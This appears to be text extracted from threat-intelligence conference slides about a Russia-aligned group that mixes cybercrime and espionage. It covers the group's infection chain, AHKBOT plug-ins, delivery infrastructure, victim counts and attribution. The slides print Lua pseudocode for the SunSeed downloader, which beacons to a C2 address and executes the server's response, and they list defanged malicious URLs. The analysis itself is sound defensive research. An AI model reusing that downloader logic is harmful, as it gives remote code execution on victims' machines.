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“Russian cybercriminals are 
targeting Ukraine and its allies”









Russia-aligned groups involved in
Ukraine and the region
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1st stage: Document

Macro / Follina (CVE-2022-30190)



















2nd stage: LUA SunSeed
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2nd stage: LUA SunSeed

require('socket.http')

serial_number = Drive.Item('C').SerialNumber

server_response = socket.request(http://<C2 IP>/ + serial_number)

pcall(loadstring(server_response))

collectgarbage()

<jump to the start and retry>
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3rd stage dropper



2nd stage variant: TCL SunSeed
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3rd stage: AHKBOT



3rd stage: AHKBOT



Plug-ins: rutservon



Plug-ins
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deletecookies
deskscreen
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hardware
hvncon
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installchrome
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passwords
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update
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Plug-ins: deletecookies



Let’s go back in time















2020 2022



A crimeware group that switched to 
espionage during the war?



Espionage incidents in 2020



A crimeware group that switched to 
espionage during the war?



Increase of cybercrime campaigns 
since October 2022



Victimology – Geographical distribution



Victimology – Numbers

• 4500+ victims since January 2022

• Big spikes
• 24-29 November 2022
• 19-23 December 2022
• 12-24 January 2023
• 2-5 March 2023



Delivery

• Traffic Direction System (TDS)



Document_1_dec-1139983.js







Non exclusive TDS?

https://nakodamachine[.]com/1/gate.php

Document_1_dec-7840299.js

AHKBOT





TA505 in 2020



TDS

• Not exclusive to Asylum Ambuscade (TA505 ?, 
Qbot)

• Probably a paid underground service?



Delivery

• Traffic Direction System (TDS)

• Google Ads to malicious websites



https://isc.sans.edu/diary/Google%20ad%20traffic%20leads%20to%20stealer%20packages%20based%20on%20free%20software/29376

https://isc.sans.edu/diary/Google%20ad%20traffic%20leads%20to%20stealer%20packages%20based%20on%20free%20software/29376








https://namesilo.my[.]id/wp-h/ke.msi



VBS downloader



Next stages

• MSI all the things: AHKBOT, Python screenshotter

• New AHKBOT plug-ins



Python screenshotter





“hcmd”: Node.js reverse shell





steal

here it is not known what the function should return



domain











March 2023 updates















Other experimentations

• LNK files (very trendy in 2022)

• .pub files (Microsoft Publisher) with VBA



VT ID:
8bd52535



Attribution





1. Same group

2. Malware kit for sale / MaaS

Espionage and crimeware clusters



• Low level of activity

• Network infrastructure is similar

• Why buying basic malware?

Arguments



Assessment:
A cybercrime group doing 

espionage on the side



• To fund their espionage operations?

• Or for personal profit?

Financially motivated activity



Origin



Origin?
my numbers for debugging



Conclusion



Conclusion

• Cybercriminals doing a bit of cyberespionage

• Basic toolset but it works






